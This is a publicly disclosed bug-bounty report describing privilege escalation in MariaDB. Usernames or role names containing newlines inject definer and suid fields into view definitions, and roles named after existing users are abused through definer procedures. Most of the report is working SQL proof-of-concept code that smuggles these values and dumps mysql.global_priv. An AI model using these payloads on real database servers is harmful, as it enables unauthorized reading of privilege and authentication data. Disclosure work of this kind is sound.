HexBrain

MariaDB · Report #3880451

Privilege escalation via user controlled usernames / roles and views

Validstatus
6upvotes
7 Oct 2026disclosed

How it was found

Assuming a scenario where a user has control over the usernames (or roles) that are provisioned for their db, they may escalate privileges via a username or role that contains newline characters since view definers are saved as raw FILE_OPTIONS_STRING values.

Proof of Concept (username)

Initial setup

DROP USER IF EXISTS 'root
definer_host=localhost
suid=1'@'localhost';

CREATE USER 'root
definer_host=localhost
suid=1'@'localhost'
  IDENTIFIED BY 'password';

GRANT ALL PRIVILEGES ON testdb.* TO 'root
definer_host=localhost
suid=1'@'localhost';

FLUSH PRIVILEGES;

then as root\ndefiner_host=localhost\nsuid=1

DELIMITER //
CREATE OR REPLACE FUNCTION leak() 
RETURNS LONGTEXT 
DETERMINISTIC
SQL SECURITY INVOKER READS SQL DATA
BEGIN
    DECLARE result LONGTEXT;
    
    SELECT JSON_ARRAYAGG(
        JSON_OBJECT('Host', Host, 'User', User, 'Priv', Priv)
    ) INTO result 
    FROM mysql.global_priv;
    
    RETURN result;
END //
DELIMITER ;

CREATE OR REPLACE VIEW v AS SELECT leak();

SELECT * FROM mysql.global_priv;
-- ERROR 1142 (42000): SELECT command denied to user 'root
-- definer_host=localhost
-- suid=1'@'localhost' for table `mysql`.`global_priv`

SELECT * FROM v;
-- [{"Host": "localhost", "User": "mariadb.sys", "Priv": {"access":0,"plugin":"mysql_native_password","authentication_string":"","account_locked":true,"password_last_changed":0}},...]

Proof of Concept (roles)

CREATE ROLE 'root
definer_host=localhost
suid=1';

GRANT 'root
definer_host=localhost
suid=1' TO 'vortfu'@'localhost';

FLUSH PRIVILEGES;

then as vortfu (using the same leak() fn as above)

SET ROLE 'root
definer_host=localhost
suid=1';

CREATE OR REPLACE DEFINER=CURRENT_ROLE VIEW v AS SELECT leak();
SELECT * FROM v;
-- [{"Host": "localhost", "User": "mariadb.sys", "Priv": {"access":0,"plugin":"mysql_native_password","authentication_string":"","account_locked":true,"password_last_changed":0}},...]

Additionally, a similar behavior exists with stored proceedures (DEFINER=CURRENT_ROLE) and roles that match existing usernames

Proof of Concept (roles @)

CREATE ROLE 'root@localhost';
GRANT 'root@localhost' TO 'vortfu'@'localhost';

as vortfu

SET ROLE `root@localhost`;

CREATE DEFINER=CURRENT_ROLE PROCEDURE `vf-exec`(q TEXT)
  SQL SECURITY DEFINER
  EXECUTE IMMEDIATE q;

SELECT * FROM mysql.global_priv;
-- ERROR 1142 (42000): SELECT command denied to user 'vortfu'@'localhost' for table `mysql`.`global_priv`

CALL `vf-exec`('SELECT * FROM mysql.global_priv');
-- | localhost        | mariadb.sys                        | {"access":0,"plugin":"mysql_native_password","authentication_string":"","account_locked":true,"password_last_changed":0}
-- ...

Impact

users may be able to execute SQL with the privileges of other users if they are able to select arbitrary usernames or roles to use.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original